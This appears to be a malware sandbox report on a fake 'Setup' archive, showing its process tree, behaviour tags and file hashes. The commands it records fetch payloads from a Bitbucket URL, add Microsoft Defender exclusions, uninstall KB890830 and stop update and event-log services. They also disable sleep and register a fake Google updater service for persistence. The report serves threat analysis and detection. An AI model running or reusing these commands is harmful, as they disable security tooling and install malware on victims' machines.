"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=9020 /prefetch:8
2⤵
PID:4904

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=136 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=11600 /prefetch:1
2⤵
PID:7692

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=137 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=11920 /prefetch:1
2⤵
PID:6484

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=138 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=14572 /prefetch:1
2⤵
PID:1712

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=139 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=11624 /prefetch:1
2⤵
PID:5012

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1176

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2960

C:\Windows\system32\werfault.exe
werfault.exe /h /shared Global\eec1312398104a79a533443bfadcda58 /t 6484 /p 6440
1⤵
PID:7192

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2700

C:\Users\Admin\Downloads\winrar-x64-701.exe
"C:\Users\Admin\Downloads\winrar-x64-701.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:232

C:\Windows\system32\werfault.exe
werfault.exe /h /shared Global\32c5fc40413d4e3e866c767a844edf22 /t 1792 /p 232
1⤵
PID:7036

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\Desktop\Setup_Pswd_1234.rar"
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:7292

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Desktop\Setup_Pswd_1234\" -ad -an -ai#7zMap22062:88:7zEvent28890
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:7808

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Setup_Pswd_1234\Readme.txt
1⤵
- Opens file in notepad (likely ransom note)
PID:4552

C:\Users\Admin\Desktop\Setup_Pswd_1234\Setup.exe
"C:\Users\Admin\Desktop\Setup_Pswd_1234\Setup.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
PID:1324

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\1.bat" "
2⤵
PID:4880

C:\Users\Admin\AppData\Local\Temp\RarSFX0\polaris.exe
polaris.exe -priverdD
3⤵
- Checks computer location settings
- Executes dropped EXE
PID:6988

C:\Users\Admin\AppData\Local\Temp\RarSFX1\gwadr.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX1\gwadr.exe"
4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:5616

C:\ProgramData\BFBAAF.exe
C:\ProgramData\\BFBAAF.exe https://bitbucket.org/1234jhgv/jhygtfr/downloads/Update.exe
5⤵
- Executes dropped EXE
PID:6008

C:\ProgramData\BFBAAF.exe
C:\ProgramData\BFBAAF.exe
6⤵
- Executes dropped EXE
PID:4824

C:\ProgramData\BFBAAF.exe
C:\ProgramData\BFBAAF.exe
6⤵
- Executes dropped EXE
PID:5212

C:\ProgramData\BFBAAF.exe
C:\ProgramData\BFBAAF.exe
6⤵
- Executes dropped EXE
PID:6180

C:\ProgramData\BFBAAF.exe
C:\ProgramData\BFBAAF.exe
6⤵
- Executes dropped EXE
PID:7316

C:\ProgramData\BFBAAF.exe
C:\ProgramData\BFBAAF.exe
6⤵
- Executes dropped EXE
PID:7332

C:\ProgramData\BFBAAF.exe
C:\ProgramData\BFBAAF.exe
6⤵
- Executes dropped EXE
PID:5104

C:\ProgramData\BFBAAF.exe
C:\ProgramData\BFBAAF.exe
6⤵
- Executes dropped EXE
PID:3276

C:\ProgramData\BFBAAF.exe
C:\ProgramData\BFBAAF.exe
6⤵
- Executes dropped EXE
PID:3864

C:\ProgramData\BFBAAF.exe
C:\ProgramData\BFBAAF.exe
6⤵
- Executes dropped EXE
PID:7864

C:\ProgramData\BFBAAF.exe
C:\ProgramData\BFBAAF.exe
6⤵
- Executes dropped EXE
PID:7576

C:\ProgramData\CBGCAF.exe
C:\ProgramData\\CBGCAF.exe https://bitbucket.org/1234jhgv/jhygtfr/downloads/Update2.exe
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5052

C:\ProgramData\CBGCAF.exe
C:\ProgramData\CBGCAF.exe
6⤵
- Executes dropped EXE
PID:1448

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\KKFHJDAEHIEH" & exit
5⤵
PID:2116

C:\Windows\SysWOW64\timeout.exe
timeout /t 10
6⤵
- Delays execution with timeout.exe
PID:7880

C:\Users\Admin\Desktop\Setup_Pswd_1234\Updater.exe
"C:\Users\Admin\Desktop\Setup_Pswd_1234\Updater.exe"
1⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:7312

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:808

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
2⤵
PID:2072

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
3⤵
PID:4552

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
2⤵
- Launches sc.exe
PID:5052

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
2⤵
- Launches sc.exe
PID:5824

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
2⤵
- Launches sc.exe
PID:4000

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
2⤵
- Launches sc.exe
PID:5188

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
2⤵
- Launches sc.exe
PID:8108

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
2⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1492

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
2⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:8160

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
2⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:5292

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
2⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:7036

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineK"
2⤵
- Launches sc.exe
PID:7404

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineK" binpath= "C:\ProgramData\GoogleUP\Chrome\Updater.exe" start= "auto"
2⤵
- Launches sc.exe
PID:376

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop eventlog
2⤵
- Launches sc.exe
PID:1676

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineK"
2⤵
- Launches sc.exe
PID:8012

C:\ProgramData\GoogleUP\Chrome\Updater.exe
C:\ProgramData\GoogleUP\Chrome\Updater.exe
1⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:5208

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4344

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
2⤵
PID:7344

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
3⤵
PID:7028

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
2⤵
- Launches sc.exe
PID:5548

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
2⤵
- Launches sc.exe
PID:7680

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
2⤵
- Launches sc.exe
PID:6376

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
2⤵
- Launches sc.exe
PID:4768

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
2⤵
- Launches sc.exe
PID:4524

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
2⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2168

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
2⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2812

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
2⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4016

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
2⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4772

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe
2⤵
PID:6224

C:\Windows\explorer.exe
explorer.exe
2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4540

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x38c 0x2fc
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:7880

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4680

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --default-search-provider=? --out-pipe-name=MSEdgeDefault401a4a24h059eh4a28hb5c9haffd57933775
1⤵
PID:4836

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x120,0x124,0x128,0xfc,0x12c,0x7ffad02946f8,0x7ffad0294708,0x7ffad0294718
2⤵
PID:864

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2176,4171653067918870329,15431829257866945354,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2192 /prefetch:2
2⤵
PID:6760

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2176,4171653067918870329,15431829257866945354,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2452 /prefetch:3
2⤵
PID:1260

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:7172

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:8164

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:6720

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5180

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --default-search-provider=? --out-pipe-name=MSEdgeDefault64b5bd1ahd56fh42dehbbc5hbf174f38e09f
1⤵
PID:1460

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffad02946f8,0x7ffad0294708,0x7ffad0294718
2⤵
PID:2628

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1448,815803762748888632,7973511745240405123,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2172 /prefetch:3
2⤵
PID:7824

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --default-search-provider=? --out-pipe-name=MSEdgeDefaultc79d1082h2733h4599ha6echc04c4c00011f
1⤵
PID:7408

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffad02946f8,0x7ffad0294708,0x7ffad0294718
2⤵
PID:4324

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2124,14025031632760115280,1224921172001185704,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2132 /prefetch:2
2⤵
PID:3980

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2124,14025031632760115280,1224921172001185704,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 /prefetch:3
2⤵
PID:1452

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2008

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Desktop\KFlauncher\" -ad -an -ai#7zMap10719:78:7zEvent22199
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4460

C:\Users\Admin\Desktop\KFlauncher\KFlauncher.exe
"C:\Users\Admin\Desktop\KFlauncher\KFlauncher.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:8188

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
2⤵
PID:7152

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
2⤵
PID:7244

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 8188 -s 588
2⤵
- Program crash
PID:5248

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 8188 -ip 8188
1⤵
PID:1344

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:1348

C:\Users\Admin\Desktop\KFlauncher\KFlauncher.exe
"C:\Users\Admin\Desktop\KFlauncher\KFlauncher.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4464

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
2⤵
PID:6560

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4464 -s 556
2⤵
- Program crash
PID:2836

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4464 -ip 4464
1⤵
PID:3976

C:\Users\Admin\Desktop\KFlauncher\KFlauncher.exe
"C:\Users\Admin\Desktop\KFlauncher\KFlauncher.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4876

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
2⤵
PID:7628

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4876 -s 556
2⤵
- Program crash
PID:1000

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4876 -ip 4876
1⤵
PID:6852

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\KKFHJDAEHIEH\CFIEBK
Filesize
300B

MD5
53950dfe0ff0be7a95878f9a14dd68e1

SHA1
f48a20933212c2895b4e0c85d90d49e7b97c24f1

SHA256
5ee65dfce026b3fa5f0259dabbfc708e06af8e7d671ad0ec69ad14dabacddc17

SHA512
bbc664963cf152841cad898e0568785ce9f5b6f0431bf5ae638af9b6fe1835019cab9ed3b8ca36a5141de8104c2483e8fff9de86a9356ab4d46795b238383a3c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
a8e767fd33edd97d306efb6905f93252

SHA1
a6f80ace2b57599f64b0ae3c7381f34e9456f9d3

SHA256
c8077a9fc79e2691ef321d556c4ce9933ca0570f2bbaa32fa32999dfd5f908bb

SHA512
07b748582fe222795bce74919aa06e9a09025c14493edb6f3b1f112d9a97ac2225fe0904cac9adf2a62c98c42f7877076e409803014f0afd395f4cc8be207241

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
62a4c231fbf78ae25172d21903267d22

SHA1
52f82e9e9475609e62dc95adbb53a5aafefcc5f0

SHA256
ea21ec94064637ea6894da2a0e80e9d6d308272209ffb7bf3a317aedb0a76201

SHA512
e80acf17dddccc278b420eeaeaaf2b49bb407fc5c997e1cfcf4dcd2f6b48d731168fc5407991f2bf5f4df9ef331992d63ca0c596b9833b4387a5ecba6a63bb11

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
439b5e04ca18c7fb02cf406e6eb24167

SHA1
e0c5bb6216903934726e3570b7d63295b9d28987

SHA256
247d0658695a1eb44924a32363906e37e9864ba742fe35362a71f3a520ad2654

SHA512
d0241e397060eebd4535197de4f1ae925aa88ae413a3a9ded6e856b356c4324dfd45dddfef9a536f04e4a258e8fe5dc1586d92d1d56b649f75ded8eddeb1f3e2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
4efb92ae7b82becc0b79bd06369705be

SHA1
b955a4679b6f6d351c3f15965b8e0660eef4bc62

SHA256
1d8a3235b9b7ae89b9e5998867579d0ee636658d73a6d34f86da793a5429ac8c

SHA512
c768e743f97c9923f1964af7f213b0dde8ecae8acb4f2179317cba4a7bd4d1a35cc5c440f16aaec4a6120ce8a63067ce64504d46d310be0662cb450b6032d636

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
1e52df1fd2d1d77e8761888916e7d56d

SHA1
e99004c68f3db7245b259231d664c8694544a98d

SHA256
345042e5bf01fa3eaed38bac74afb23f89cc28c6f3c96dbd01cd78fddf050460

SHA512
054ec7346d3e4bfeba3eabef07c106147d201c888fca1d047bcce958fe7164e871b59813c553b33858c9c68e110a4f889bdb0be7424fea1f1dc8429ab835fc61

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000007
Filesize
91KB

MD5
840e9cbf290208fe0204e349f5116e16

SHA1
b9646ac9da1e929a1376e51ca22002ab7cba7570

SHA256
087b6763aa16340d8abd72d7fc3461d758e67a4c212b06f6925542ecbdd87e7b

SHA512
a14550375987ec2c84e798ba13beb3e8f32554323ceb6f30433f8aa2c71f7e02a43b3b4621111f225e3118a3a17367ac3c6475c50bec64bcb0c69abff5e136e7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000008
Filesize
70KB

MD5
9affcc4ddc74a13c2ace16725b24e626

SHA1
ab46fe54d89e58c8f0299ef11115473b51b4ca0a

SHA256
2094873677fd90cb4747cd292a59e26b1f69b993babd0fe3f097824338bd80a1

SHA512
d93cd6753c23ac1e30fb5edb63a118ed10ae5a86ff5f504505a142169099545dc24270970fbf00b34ef6763f5c671e80ae52d2c37d99fceadabb44975cac7029

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00000a
Filesize
21KB

MD5
660c3b546f2a131de50b69b91f26c636

SHA1
70f80e7f10e1dd9180efe191ce92d28296ec9035

SHA256
fd91362b7111a0dcc85ef6bd9bc776881c7428f8631d5a32725711dce678bff9

SHA512
6be1e881fbb4a112440883aecb232c1afc28d0f247276ef3285b17b925ea0a5d3bac8eac6db906fc6ac64a4192dd740f5743ba62ba36d8204ff3e8669b123db2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00000b
Filesize
107KB

MD5
6de67900aa38fa2f7beb614513610762

SHA1
a9b2afd8cd03c1cb9551300db35476c9092a4728

SHA256
7da5143db9d681275352c8a949641508fbafb0dd415890a4c56b7d8e39c9b6d1

SHA512
201293581a81ef3185b8dc2a3c2620e587392508729252a4b0a73fcd53ffea50fecd0cfa6ed7bbf4aad256bd84f671ec8a52ef32c95185a821d1b98e74f61771

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00000e
Filesize
71KB

MD5
af5720cabfada63277e642ebebd8a978

SHA1
43c743dbb94e0fd8e6ec3336bfb3df65130fea02

SHA256
69f02bc4cefe4651cdff48f7d14c55a21b2c13c8709aaf714f12f93b48bf7195

SHA512
623ee6a7526d3686fe9cf082d3ecf22c9bdf57c4d1f4357add58545382014fef9c7219dc49e9a12f972c6c59e6832f3762e38e1e1ed432059543aac0c1e323d5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000012
Filesize
40KB

MD5
a688db87c45aa27100545982fc1596e4

SHA1
176a5dfad3aaae47b0f560451ce32bfc50dbfa43

SHA256
c9212f3f51bef3d09927d30f5201211e8934a53aeb4e8c60a0e722106f998627

SHA512
6cdb256945c1b1741797376d642256c7fb8313bedc1d0ce4ffcdf71f8c77f79cfeafde6367d47da1196eb33d6126641af3a2d78d0eda6474a6b7e37df1d7e5ef

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000013
Filesize
36KB

MD5
ce42468d44f37169477a6433176980eb

SHA1
8aa546e87477e2f1d93b3d60524642a6f4da63f5

SHA256
0b7fdc03910d5c58b0cf46208ab33bf2e65170a9e8202cd0c87ee4bc672087dd

SHA512
f78a7e1c02de31c1c7ce6ecbbf8f3792d011b42c237b1dc701e024bcf04ef046eccb22edbd1206c3051180fd23b7c7feb89b26b51a0599407b6d80b7b896b115

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000014
Filesize
54KB

MD5
2714d7238abbce8c784df72bdf8cbfbe

SHA1
e49d3eb0fdd2d7aa09439211f7400d2345a962a0

SHA256
61ca018b1fcd628ca51b39428d0b8d350702def3e0f957a8dde2ca5365d6ed31

SHA512
d8cb211ac39249358e45399ffde584a0a19de6f9d4af22e83d7acf6885f7a5709ca8a1c3d985d0915d6730ea901639461bd8036782f917802050cbe833c4d0fe

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000015
Filesize
74KB

MD5
742c6dbbbf5b0bff1afe6639fb6db98a

SHA1
0b6e0099c83673162fe424862d7e644b3e4ecb7c

SHA256
d8bd42e5f6c053bb2537cd398591f8998af515829fb45ce32bade3b3263086b5

SHA512
35c896226a3567bd55743b47a2bca7a13ff2cd75ae526a7f6926c0f1de1f4159dfae2165d418f190c0088c6a7183be4fa74dc3455e8af3f3c1f489904b021fe1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000016
Filesize
258KB

MD5
1044ace4706d342aa9e27214795cbae3

SHA1
8710193fa073b330c32c4cd6b0ee2280a41a6ada

SHA256
654d8221f66fe634206a64b52561a39ee408899a26435aa2094ee681eedf94b4

SHA512
92e2c52d5699210eace7ac263da4039fa010f64bdee4a3b6ab8f9817bc6113861324b3f98f8ef17534f3cc6841c9b142ac28c9c3030b5b0ff699686b7da67cb1

Download Submit
